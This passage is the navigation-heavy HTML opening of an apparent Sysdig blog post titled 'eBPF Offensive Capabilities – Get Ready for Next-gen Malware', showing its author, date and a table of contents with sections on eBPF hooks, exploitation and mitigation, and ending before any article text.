<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Open Source</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55240" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3  no-header "><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Open Source &#8211; 1st Column Header &#8211; HIdden<span></span></span></div>
	<ul aria-labelledby="menu-item-55240" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-73810" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/opensource/" id="menu-item-dropdown-73810"><div class="position-relative inline">Sysdig and Open Source<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55242" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Projects<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-73810" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-56796" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/opensource/falco/" id="menu-item-dropdown-56796"><div class="position-relative inline">Falco<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57640" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/opensource/open-policy-agent/" id="menu-item-dropdown-57640"><div class="position-relative inline">Open Policy Agent<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57642" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/opensource/prometheus/" id="menu-item-dropdown-57642"><div class="position-relative inline">Prometheus<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55200" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55200" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Why Sysdig<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55200" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Why Sysdig</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74345" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Why Sysdig<span></span></span></div>
	<ul aria-labelledby="menu-item-74345" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74338" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/about/" id="menu-item-dropdown-74338"><div class="position-relative inline">About Us<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74337" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/customers/" id="menu-item-dropdown-74337"><div class="position-relative inline">Our Customers<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74339" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/threat-research/" id="menu-item-dropdown-74339"><div class="position-relative inline">Threat Research Team<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-81097" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="http://sysdig.com/555-cloud-detection-response-benchmark" id="menu-item-dropdown-81097"><div class="position-relative inline">5/5/5 CDR Benchmark<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-83788" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/2024-cloud-native-security-and-usage-report/" id="menu-item-dropdown-83788"><div class="position-relative inline">2024 Cloud-Native Security &#038; Usage Report<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74340" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Compare Sysdig<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-83788" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74341" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/vs/crowdstrike/" id="menu-item-dropdown-74341"><div class="position-relative inline">Crowdstrike<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74342" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/vs/lacework/" id="menu-item-dropdown-74342"><div class="position-relative inline">Lacework<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74343" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/vs/prismacloud/" id="menu-item-dropdown-74343"><div class="position-relative inline">Prisma Cloud<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-74344" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/vs/wiz/" id="menu-item-dropdown-74344"><div class="position-relative inline">Wiz<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-82208" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/vs/aqua/" id="menu-item-dropdown-82208"><div class="position-relative inline">Aqua<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55201" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55201" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Resources<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55201" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Resources</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55247" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3  no-header "><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Resources &#8211; 1st Column Header &#8211; Hidden<span></span></span></div>
	<ul aria-labelledby="menu-item-55247" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55248" class="font-bold menu-item menu-item-type-post_type menu-item-object-page nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/blog/" id="menu-item-dropdown-55248"><div class="position-relative inline">Blog<span class="gradient-border"></span></div><div class="nav-description pt-1">Cloud security thought leadership, industry insights, and Sysdig news</div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-78909" class="font-bold menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/threat-research/" id="menu-item-dropdown-78909"><div class="position-relative inline">Threat Research<span class="gradient-border"></span></div><div class="nav-description pt-1">Latest threat research and news</div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55250" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Education<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-78909" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55251" class="menu-item menu-item-type-post_type menu-item-object-page nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/content-library/" id="menu-item-dropdown-55251"><div class="position-relative inline">Content Library<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-63696" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/content-library/webinars/" id="menu-item-dropdown-63696"><div class="position-relative inline">Events &#038; Webinars<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57650" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://learn.sysdig.com/" id="menu-item-dropdown-57650" target="_blank"><div class="position-relative inline">Training Portal<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55253" class="menu-item menu-item-type-post_type menu-item-object-page nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/learn-cloud-native/" id="menu-item-dropdown-55253"><div class="position-relative inline">Learn Cloud Native<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55255" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Topics<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-55253" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57644" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/topic/kubernetes-container-security/" id="menu-item-dropdown-57644"><div class="position-relative inline">Container Security<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57643" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/topic/cloud-security/" id="menu-item-dropdown-57643"><div class="position-relative inline">Cloud Security<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57646" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/topic/monitoring/" id="menu-item-dropdown-57646"><div class="position-relative inline">Monitoring<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57645" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/topic/compliance/" id="menu-item-dropdown-57645"><div class="position-relative inline">Compliance<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55260" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Support<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-57645" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55261" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/support/" id="menu-item-dropdown-55261"><div class="position-relative inline">Support<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57653" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.force.com/support/s/web-to-case/" id="menu-item-dropdown-57653" target="_blank"><div class="position-relative inline">Request Support<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57651" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://kb.sysdig.com/" id="menu-item-dropdown-57651" target="_blank"><div class="position-relative inline">Knowledgebase<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57654" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="/company/sysdig-status/" id="menu-item-dropdown-57654"><div class="position-relative inline">Sysdig Status<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57652" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://docs.sysdig.com/" id="menu-item-dropdown-57652" target="_blank"><div class="position-relative inline">Documentation<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
</ul>
                    <hr class="c-rule text-gray-30 border-2 mx-5 my-2 lg:hidden">

                    <ul id="menu-main-navigation-side" class="main-navigation-side navbar-nav items-start lg:items-center mb-6 lg:mb-0"><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55171" class="menu-item menu-item-type-custom menu-item-object-custom nav-item dropdown is_search ml-auto"><a id="menu-item-dropdown-55171" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false"><img src="https://sysdig.com/wp-content/themes/sysdig/assets/images/search-white.svg" /> <div class="sr-only ml-1">Search</div><span></span></a><ul class="dropdown-menu c-v4-dropdown-search flex-row flex-wrap items-start px-5 pt-2 pb-6 lg:p-12" aria-labelledby="menu-item-dropdown-49968" role="menu"">
        <li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li>
        <li class="c-v4-dropdown-search--wrapper mt-4 lg:mt-0 p-0">

<form role="search" method="get" class="c-search-form gap-4" action="https://sysdig.com/">
	<label class="c-search-form__label ">
		<span class="before"></span>
		<span class="screen-reader-text">Search for:</span>
		<input type="text" class="c-search-form__field" placeholder="Search" value="" name="s" />
		<span class="after"></span>
	</label>
	<button type="submit" class="c-search-form__button button bg-yellow" ><span>Search</span></button>
</form></li>
        <li class="c-v4-dropdown-search--results pt-8 px-0 flex-column">
          <div class="c-v4-dropdown-search--results-header u-text-xs pb-5">Best Match</div>
          <div class="c-v4-dropdown-search--results-body pb-5"></div><a class="text-link search-link text-primary ml-0" href="#" target="">View all search results<span></span></a>
        </li>
      </ul></li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55187" class="is-language-dropdown menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55187" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false"><img src="https://sysdig.com/wp-content/themes/sysdig/assets/images/globe-white.svg" /> <div class="sr-only ml-1">Languages</div><span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55187" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Language</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55188" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3  no-header "><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Language Header &#8211; Hidden<span></span></span></div>
	<ul aria-labelledby="menu-item-55188" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55194" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://de.sysdig.com/" id="menu-item-dropdown-55194"><div class="position-relative inline">Deutsch<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55189" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-home nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.com/" id="menu-item-dropdown-55189"><div class="position-relative inline">English<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55192" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.es/" id="menu-item-dropdown-55192"><div class="position-relative inline">Español<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55190" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://fr.sysdig.com/" id="menu-item-dropdown-55190"><div class="position-relative inline">Français<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55191" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://it.sysdig.com/" id="menu-item-dropdown-55191"><div class="position-relative inline">Italiano<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55193" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://sysdig.jp/" id="menu-item-dropdown-55193"><div class="position-relative inline">日本<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55172" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item dropdown"><a id="menu-item-dropdown-55172" class="nav-link flex items-center dropdown-toggle" role="button" data-toggle="dropdown" aria-expanded="false">Log In<span></span></a>
<ul class="dropdown-menu flex-col lg:flex-row flex-nowrap px-5 pt-2 pb-6 lg:px-7 lg:py-10" aria-labelledby="menu-item-dropdown-55172" role="menu">
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-back d-flex d-lg-none pb-4"><a href="#" class="d-flex items-center">Back</a></li><li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" class="mobile-nav-column-header d-inline-flex d-lg-none pb-4 w-auto text-white">Log In</li>	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55173" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Monitor<span></span></span></div>
	<ul aria-labelledby="menu-item-55173" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57656" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://app.sysdigcloud.com/#/login" id="menu-item-dropdown-57656" target="_blank"><div class="position-relative inline">US-East<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57657" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://us2.app.sysdig.com/#/login" id="menu-item-dropdown-57657"><div class="position-relative inline">US-West<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57658" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://eu1.app.sysdig.com/#/login" id="menu-item-dropdown-57658"><div class="position-relative inline">EU-Central<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57659" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://app.au1.sysdig.com/#/login" id="menu-item-dropdown-57659"><div class="position-relative inline">AWS-AP-Sydney<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57660" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://app.us4.sysdig.com/#/login" id="menu-item-dropdown-57660"><div class="position-relative inline">GCP-US-West<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55179" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3"><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Secure<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-57660" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57661" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://secure.sysdig.com/#/login" id="menu-item-dropdown-57661" target="_blank"><div class="position-relative inline">US-East<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57662" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://us2.app.sysdig.com/secure/#/login" id="menu-item-dropdown-57662" target="_blank"><div class="position-relative inline">US-West<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57663" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://eu1.app.sysdig.com/secure/#/login" id="menu-item-dropdown-57663" target="_blank"><div class="position-relative inline">EU-Central<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57664" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://app.au1.sysdig.com/secure/#/login" id="menu-item-dropdown-57664" target="_blank"><div class="position-relative inline">AWS-AP-Sydney<span class="gradient-border"></span></div></a></li>
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57665" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://app.us4.sysdig.com/secure/#/login" id="menu-item-dropdown-57665" target="_blank"><div class="position-relative inline">GCP-US-West<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
	<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55185" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children nav-item pb-0 lg:pb-3  no-header "><div class="nav-column-header flex items-center md:flex-wrap md:items-start pb-4" aria-expanded="false"><span>Log In &#8211; 3rd Column Header &#8211; HIdden<span></span></span></div>
	<ul aria-labelledby="menu-item-dropdown-57665" role="menu">
		<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-57666" class="menu-item menu-item-type-custom menu-item-object-custom nav-item pb-3"><a class="nav-link depth-2" href="https://cx.sysdig.com/" id="menu-item-dropdown-57666" target="_blank"><div class="position-relative inline">Support<span class="gradient-border"></span></div></a></li>
	</ul>
</li>
</ul>
</li>
<li itemscope="itemscope" itemtype="https://www.schema.org/SiteNavigationElement" id="menu-item-55196" class="filter-get-demo menu-item menu-item-type-custom menu-item-object-custom nav-item"><a id="menu-item-dropdown-55196" class="nav-link flex items-center  button " href="/request-a-demo/" target="_blank">Get Demo<span></span></a></li>
</ul>                </div>

                    </div>
    </nav>
</div>

	<div id="content" class="site-content"><div id="primary" class="content-area"><main id="main" class="site-main">
			
	<div class="c-v4-m1-hero o-section pb-12 md:pb-4
    ">

		<div class="o-container container">
			<div class="row">

								<div class="c-v4-m1-hero--main col-12 col-md-7 col-lg-8 pb-8 md:pb-0">
					<nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item"><a href="https://sysdig.com/blog/">Back to Blog</a></li></ol></nav>
					<h1>eBPF Offensive Capabilities &#8211; Get Ready for Next-gen Malware</h1>

					
											<div class="b-v4-block-container-author">
														By <a href="https://sysdig.com/blog/author/daniele-linguaglossa/">Daniele Linguaglossa</a> - SEPTEMBER 5, 2023						</div>
					
					
					 

    <div class="flex items-center mb-6">
        <p class="font-medium text-sm mb-0 mr-0.5">SHARE:</p>

                    <a class="ml-2.5" style="max-width: 35px; max-height:35px;"
               href="https://www.facebook.com/sharer/sharer.php?u=https://sysdig.com/blog/ebpf-offensive-capabilities/" target="_blank">
                <img width="72" height="72" src="https://sysdig.com/wp-content/uploads/facebook-3-logo-1-1.png" class="w-full h-full" alt="" decoding="async" />            </a>
                    <a class="ml-2.5" style="max-width: 35px; max-height:35px;"
               href="https://www.linkedin.com/shareArticle?mini=true&amp;url=https://sysdig.com/blog/ebpf-offensive-capabilities/" target="_blank">
                <img width="72" height="72" src="https://sysdig.com/wp-content/uploads/Vector-1-2.png" class="w-full h-full" alt="" decoding="async" />            </a>
                    <a class="ml-2.5" style="max-width: 35px; max-height:35px;"
               href="https://twitter.com/intent/tweet?url=https://sysdig.com/blog/ebpf-offensive-capabilities/&amp;text=" target="_blank">
                <img width="256" height="256" src="https://sysdig.com/wp-content/uploads/twitter-x-logo-black-round-20851.svg" class="w-full h-full" alt="" decoding="async" fetchpriority="high" />            </a>
         

        
    </div><!-- b-v4-block-container-social-share -->

									</div>

				<div class="c-v4-m1-hero--lottie col-12 col-md-5 col-lg-4 d-flex">
					<div class="d-flex justify-center align-items-center w-100">
						<div class="b-v4-block-container-img md:mt-12">
							<img width="2400" height="1320" src="https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png" class="attachment-full size-full" alt="" decoding="async" loading="lazy" srcset="https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities.png 2400w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-350x193.png 350w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-1170x644.png 1170w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-768x422.png 768w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-1536x845.png 1536w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-2048x1126.png 2048w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-175x96.png 175w, https://sysdig.com/wp-content/uploads/blog-eBPF-Offensive-Capabilities-1930x1062.png 1930w, / 1w" sizes="(max-width: 2400px) 100vw, 2400px" />						</div>
					</div>
				</div>

			</div>
		</div>
	</div>


	<div class="o-container container b-v4-block-container has-global-padding pb-12 md:pb-24">

	<div class="row justify-content-between">

						<style>
                    /* Use calculated var from announement bar script to calc top offset */
                    .c-nav-links {
                        top: calc(var(--navigation--height) + var(--banner-height, 0px));
                    }

                    .admin-bar .c-nav-links {
                        top: calc(32px + var(--navigation--height) + var(--banner-height, 0px));
                    }
				</style>

				<div id="nav-links-desktop"
				     class="c-nav-links b-v4-block-container-anchors-wrapper c-toc__wrapper col-12 relative sticky bg-white mb-2 mt-0">
					<div id="nav-links-desktop-content"
					     class="b-v4-block-container-anchors collapse show col-12 col-md-11">
						<p>content:</p>
													<a href="#probes"
							   class="b-v4-block-container-anchors-links">Probes everywhere - eBPF hooks</a>
													<a href="#eBPF"
							   class="b-v4-block-container-anchors-links">eBPF programs</a>
													<a href="#exploitation"
							   class="b-v4-block-container-anchors-links">eBPF exploitation</a>
													<a href="#mitigation"
							   class="b-v4-block-container-anchors-links">Mitigation</a>
													<a href="#conclusion"
							   class="b-v4-block-container-anchors-links">Conclusion</a>
											</div>

					<div class="b-v4-block-container-anchors-wrapper-heading flex justify-end items-center">
						<button type="button"
						        class="button-toggle p-0"
						        data-toggle="collapse"
						        data-target="#nav-links-desktop-content"
						        aria-expanded="true"
